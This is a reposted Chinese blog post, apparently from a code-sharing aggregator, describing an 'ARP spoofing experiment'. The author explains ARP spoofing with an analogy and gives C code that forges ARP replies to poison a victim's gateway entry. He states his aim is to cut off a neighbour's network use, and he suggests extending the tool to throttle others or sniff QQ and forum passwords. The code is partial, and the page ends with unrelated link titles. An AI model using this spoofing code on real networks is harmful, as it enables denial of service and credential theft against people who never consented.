ARP欺骗实验
来源:互联网 发布:资生堂有淘宝旗舰店吗 编辑:程序博客网 时间:2024/06/06 03:33
转载:http://www.52harry.com/program/linux/2011-12-03/673.html
周末到了,周末不上班,在家搞定东西娱乐一下。
上上个星期建了一个返利平台和一个淘宝的推广平台, 淘淘格子铺:shopping.52harry.com,www.getshare.org
上个星期建了一个长网址转短网址的服务平台。url.52harry.com
这个周末该弄点什么呢,一大早起来,发现网速很慢,应该是因为隔壁的那个人老是喜欢下东西,而且不限速,
所以是时候搞个东西恶心一下他们了,局域网限速工具其实网上都有很多的,但是有一些是有病毒,有后门的,不过同学曾今给我一个工具,以前用用还好的,最近好像是怎么管用了,于是决定自己写一个局域网的限速小工具。
其实关于局域网的限速工具用得就是ARP欺骗的原理。举个例子吧,
一个局域网就相当于一个“院子(局域网)”,
每一个IP代表一户人家,这个IP其实是这个人家的代号(小王),至于这户人家的具体的门牌号就是小王家的门牌号,
而192.168.1.1是网关,就相当于门卫,门卫大爷那边有整个小区的代号和门牌的对照表
现在如果局域网中有一个小王:192.168.1.3,(门牌号为01)
小张:192.168.1.4, (门牌号为02)
门卫大爷:192.168.1.1, (门牌号为03)
如果小王想找隔壁小区的www.baidu.com聊天,(相当于访问百度),
首先要告诉门卫大爷,我想找www.baidu.com聊聊天,
然后门卫大爷就去找www.baidu.com,然后把百度的地址告诉小王,
小王就能和www.baidu.com聊天了,
但是小张(192.168.1.4)同学不喜欢小王(192.168.1.3)跟www.baidu.com聊天,
于是他就欺骗小王(192.168.1.3),说:门卫大爷(192.168.1.1)的门牌号是02(其实是小张(192.168.1.4)的门牌号),
然后小王就以为门卫大爷(192.168.1.1)的门牌号为02了,其实应该是03
这样如果小王(192.168.1.3)想跟www.baidu.com聊天的话,他就要找到门卫大爷(192.168.1.1),
然后根据自己以为的门牌号(02)去找,但这个时候找的其实不是门卫大爷,
其实找到了小张门口,
但是小张不告诉小王www.baidu.com的地址,
于是小王就没法和www.baidu.com聊天了,
这样就实现了一次ARP欺骗,不过 过段时间门卫大爷(路由器,192.168.1.1)会在小区(局域网)里面广播一下,说 我是门卫(192.168.1.1),门牌号是03,这样小王就又能找到www.baidu.com
只要小张一直告诉小王,门卫大爷的门牌号是02,那么小王就找不到www.baidu.com,就相当于上不了网了。
根据这个原理:
写了一个小程序,想想要攻击的IP(192.168.1.3)发送arp响应包,告诉192.168.103,192.168.1.1的mac address为192.168.1.4的mac address
当然首先得获得192.168.1.3,192.168.1.4的mac address
struct arp_hdr { //用于arp请求或应答的数据结构
//以太网首部
u_char ether_dhost[ETH_ALEN]; //目标MAC地址
u_char ether_shost[ETH_ALEN]; //源MAC地址
u_short ether_type; //帧类型
//arp
u_short ar_hrd; //硬件类型
u_short ar_pro; //协议类型
u_char ar_hln; //硬件地址长度
u_char ar_pln; //协议地址长度
u_short ar_op; //ARP opcode (command)
u_char ar_sha[ETH_ALEN]; //发送端以太网地址
u_char ar_sip[4]; //发送端IP地址
u_char ar_tha[ETH_ALEN]; //目的端以太网地址
u_char ar_tip[4]; //目的端IP地址
u_char padding[18]; //padding
};
bcopy(victimmac,arp->ether_dhost,6); //攻击的IP的mac address
bcopy(hostmac,arp->ether_shost,4); //本机的mac address
arp->ether_type=htons(ETHERTYPE_ARP);
//arp header
arp->ar_hrd = htons(ARPHRD_ETHER);
arp->ar_pro = htons(ETHERTYPE_IP);
arp->ar_hln = 6;
arp->ar_pln = 4;
arp->ar_op = htons(2); //应答包
bcopy(hostmac,arp->ar_sha,6); //源mac address
bcopy(&gatewayaddr,arp->ar_sip,4);
bcopy(victimmac,arp->ar_tha,6); //攻击目标的 mac address
bcopy(&dstaddr,arp->ar_tip,4);
bzero(arp->padding,18);
//strcpy(to.sa_data, DEF_INTERFACE);
if((n= sendto(fd_arp,buf,sizeof(struct arp_hdr),0,&to,sizeof(to)))< 0)
{
perror(" send response to v arpspoof gatewaymac is hostmac");
exit(-1);
} ,
写好后编译,然后我们来测试一下 在运行改程序前,首先在运行一下arp -a,可看到192.168.1.1的mac地址,
运行改程序后,再查看arp -a 发现192.168.1.1的mac地址 变了,就说明成功了。
根据这个原理,我们还可以继续开发其他功能,比如说 局域网限速,局域网嗅探别人的QQ账号,论坛账号密码等等等等。
- ARP欺骗实验
- 局域网ARP欺骗实验
- 实验六 基于WinPcap的ARP欺骗实验
- ARP 欺骗
- ARP欺骗
- ARP欺骗
- ARP欺骗
- ARP欺骗
- ARP欺骗
- ARP欺骗
- ARP欺骗
- ARP 欺骗
- ARP欺骗
- arp欺骗
- ARP欺骗
- arp欺骗
- ARP欺骗
- arp欺骗
- Android Widget 电池插件的开发实现
- oracle高性能sql调整-笔记1
- poj 3667 hotel
- “分布式哈希”和“一致性哈希”的概念与算法实现
- 蜘蛛来了!
- ARP欺骗实验
- Android开发初学者必看文档:Android开发规范
- IDirect3D9学习
- ubuntu优化详解
- linux多线程编程
- java clone
- C语言100个经典的算法
- ADO.NET 如何读取 Excel
- java文件输出示例